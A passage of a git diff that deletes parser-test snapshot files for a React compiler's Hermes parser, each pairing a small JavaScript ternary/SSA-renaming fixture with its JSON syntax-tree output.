-input_file: crates/react_hermes_parser/tests/fixtures/ssa-renaming-ternary-with-mutation.js
----
-Input:
-function foo(props) {
-  let x = [];
-  x.push(props.bar);
-  props.cond ? ((x = {}), (x = []), x.push(props.foo)) : null;
-  mut(x);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            18
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    28,
-                    29
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    32,
-                    34
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  28,
-                  34
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              35
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    38,
-                    39
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    40,
-                    44
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  38,
-                  44
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      45,
-                      50
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "bar",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      51,
-                      54
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    45,
-                    54
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                38,
-                55
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              38,
-              56
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "ConditionalExpression",
-              "test": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    59,
-                    64
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "cond",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    65,
-                    69
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  59,
-                  69
-                ]
-              },
-              "alternate": {
-                "type": "NullLiteral",
-                "loc": null,
-                "range": [
-                  114,
-                  118
-                ]
-              },
-              "consequent": {
-                "type": "SequenceExpression",
-                "expressions": [
-                  {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        74,
-                        75
-                      ]
-                    },
-                    "right": {
-                      "type": "ObjectExpression",
-                      "properties": [],
-                      "loc": null,
-                      "range": [
-                        78,
-                        80
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      74,
-                      80
-                    ]
-                  },
-                  {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        84,
-                        85
-                      ]
-                    },
-                    "right": {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        88,
-                        90
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      84,
-                      90
-                    ]
-                  },
-                  {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          93,
-                          94
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          95,
-                          99
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        93,
-                        99
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            100,
-                            105
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "foo",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            106,
-                            109
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          100,
-                          109
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      93,
-                      110
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  73,
-                  110
-                ]
-              },
-              "loc": null,
-              "range": [
-                59,
-                118
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              59,
-              119
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mut",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  122,
-                  125
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    126,
-                    127
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                122,
-                128
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              122,
-              129
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                139,
-                140
-              ]
-            },
-            "loc": null,
-            "range": [
-              132,
-              141
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          143
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        143
-      ],
-      "loc": null,
-      "range": [
-        0,
-        143
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    143
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-ternary.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-ternary.js.snap
deleted file mode 100644
index 37066fe0af95..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-ternary.js.snap
+++ /dev/null
@@ -1,394 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-renaming-ternary.js
----
-Input:
-function foo(props) {
-  let x = [];
-  x.push(props.bar);
-  props.cond ? ((x = {}), (x = []), x.push(props.foo)) : null;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            18
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    28,
-                    29
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    32,
-                    34
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  28,
-                  34
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              35
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    38,
-                    39
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    40,
-                    44
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  38,
-                  44
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      45,
-                      50
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "bar",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      51,
-                      54
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    45,
-                    54
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                38,
-                55
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              38,
-              56
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "ConditionalExpression",
-              "test": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    59,
-                    64
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "cond",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    65,
-                    69
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  59,
-                  69
-                ]
-              },
-              "alternate": {
-                "type": "NullLiteral",
-                "loc": null,
-                "range": [
-                  114,
-                  118
-                ]
-              },
-              "consequent": {
-                "type": "SequenceExpression",
-                "expressions": [
-                  {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        74,
-                        75
-                      ]
-                    },
-                    "right": {
-                      "type": "ObjectExpression",
-                      "properties": [],
-                      "loc": null,
-                      "range": [
-                        78,
-                        80
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      74,
-                      80
-                    ]
-                  },
-                  {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        84,
-                        85
-                      ]
-                    },
-                    "right": {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        88,
-                        90
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      84,
-                      90
-                    ]
-                  },
-                  {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          93,
-                          94
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          95,
-                          99
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        93,
-                        99
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            100,
-                            105
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "foo",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            106,
-                            109
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          100,
-                          109
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      93,
-                      110
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  73,
-                  110
-                ]
-              },
-              "loc": null,
-              "range": [
-                59,
-                118
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              59,
-              119
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                129,
-                130
-              ]
-            },
-            "loc": null,
-            "range": [
-              122,
-              131
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          133
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        133
-      ],
-      "loc": null,
-      "range": [
-        0,
-        133
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    133
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-unconditional-ternary-with-mutation.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-unconditional-ternary-with-mutation.js.snap
deleted file mode 100644
index 8327c8c548b8..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-unconditional-ternary-with-mutation.js.snap
+++ /dev/null
@@ -1,562 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-renaming-unconditional-ternary-with-mutation.js
----
-Input:
-function foo(props) {
-  let x = [];
-  x.push(props.bar);
-  props.cond
-    ? ((x = {}), (x = []), x.push(props.foo))
-    : ((x = []), (x = []), x.push(props.bar));
-  mut(x);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            18
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    28,
-                    29
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    32,
-                    34
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  28,
-                  34
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              35
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    38,
-                    39
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    40,
-                    44
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  38,
-                  44
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      45,
-                      50
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "bar",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      51,
-                      54
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    45,
-                    54
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                38,
-                55
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              38,
-              56
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "ConditionalExpression",
-              "test": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    59,
-                    64
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "cond",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    65,
-                    69
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  59,
-                  69
-                ]
-              },
-              "alternate": {
-                "type": "SequenceExpression",
-                "expressions": [
-                  {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        124,
-                        125
-                      ]
-                    },
-                    "right": {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        128,
-                        130
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      124,
-                      130
-                    ]
-                  },
-                  {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        134,
-                        135
-                      ]
-                    },
-                    "right": {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        138,
-                        140
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      134,
-                      140
-                    ]
-                  },
-                  {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          143,
-                          144
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          145,
-                          149
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        143,
-                        149
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            150,
-                            155
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "bar",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            156,
-                            159
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          150,
-                          159
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      143,
-                      160
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  123,
-                  160
-                ]
-              },
-              "consequent": {
-                "type": "SequenceExpression",
-                "expressions": [
-                  {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        78,
-                        79
-                      ]
-                    },
-                    "right": {
-                      "type": "ObjectExpression",
-                      "properties": [],
-                      "loc": null,
-                      "range": [
-                        82,
-                        84
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      78,
-                      84
-                    ]
-                  },
-                  {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        88,
-                        89
-                      ]
-                    },
-                    "right": {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        92,
-                        94
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      88,
-                      94
-                    ]
-                  },
-                  {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          97,
-                          98
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          99,
-                          103
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        97,
-                        103
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            104,
-                            109
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "foo",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            110,
-                            113
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          104,
-                          113
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      97,
-                      114
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  77,
-                  114
-                ]
-              },
-              "loc": null,
-              "range": [
-                59,
-                161
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              59,
-              162
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mut",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  165,
-                  168
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    169,
-                    170
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                165,
-                171
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              165,
-              172
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                182,
-                183
-              ]
-            },
-            "loc": null,
-            "range": [
-              175,
-              184
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          186
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        186
-      ],
-      "loc": null,
-      "range": [
-        0,
-        186
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    186
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-unconditional-ternary.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-unconditional-ternary.js.snap
deleted file mode 100644
index 9576a65bcc47..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-unconditional-ternary.js.snap
+++ /dev/null
@@ -1,522 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-renaming-unconditional-ternary.js
----
-Input:
-function foo(props) {
-  let x = [];
-  x.push(props.bar);
-  props.cond
-    ? ((x = {}), (x = []), x.push(props.foo))
-    : ((x = []), (x = []), x.push(props.bar));
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            18
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    28,
-                    29
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    32,
-                    34
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  28,
-                  34
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              35
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    38,
-                    39
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    40,
-                    44
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  38,
-                  44
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      45,
-                      50
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "bar",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      51,
-                      54
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    45,
-                    54
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                38,
-                55
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              38,
-              56
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "ConditionalExpression",
-              "test": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    59,
-                    64
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "cond",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    65,
-                    69
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  59,
-                  69
-                ]
-              },
-              "alternate": {
-                "type": "SequenceExpression",
-                "expressions": [
-                  {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        124,
-                        125
-                      ]
-                    },
-                    "right": {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        128,
-                        130
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      124,
-                      130
-                    ]
-                  },
-                  {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        134,
-                        135
-                      ]
-                    },
-                    "right": {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        138,
-                        140
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      134,
-                      140
-                    ]
-                  },
-                  {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          143,
-                          144
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          145,
-                          149
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        143,
-                        149
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            150,
-                            155
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "bar",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            156,
-                            159
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          150,
-                          159
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      143,
-                      160
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  123,
-                  160
-                ]
-              },
-              "consequent": {
-                "type": "SequenceExpression",
-                "expressions": [
-                  {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        78,
-                        79
-                      ]
-                    },
-                    "right": {
-                      "type": "ObjectExpression",
-                      "properties": [],
-                      "loc": null,
-                      "range": [
-                        82,
-                        84
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      78,
-                      84
-                    ]
-                  },
-                  {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        88,
-                        89
-                      ]
-                    },
-                    "right": {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        92,
-                        94
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      88,
-                      94
-                    ]
-                  },
-                  {
-                    "type": "CallExpression",
-                    "callee": {
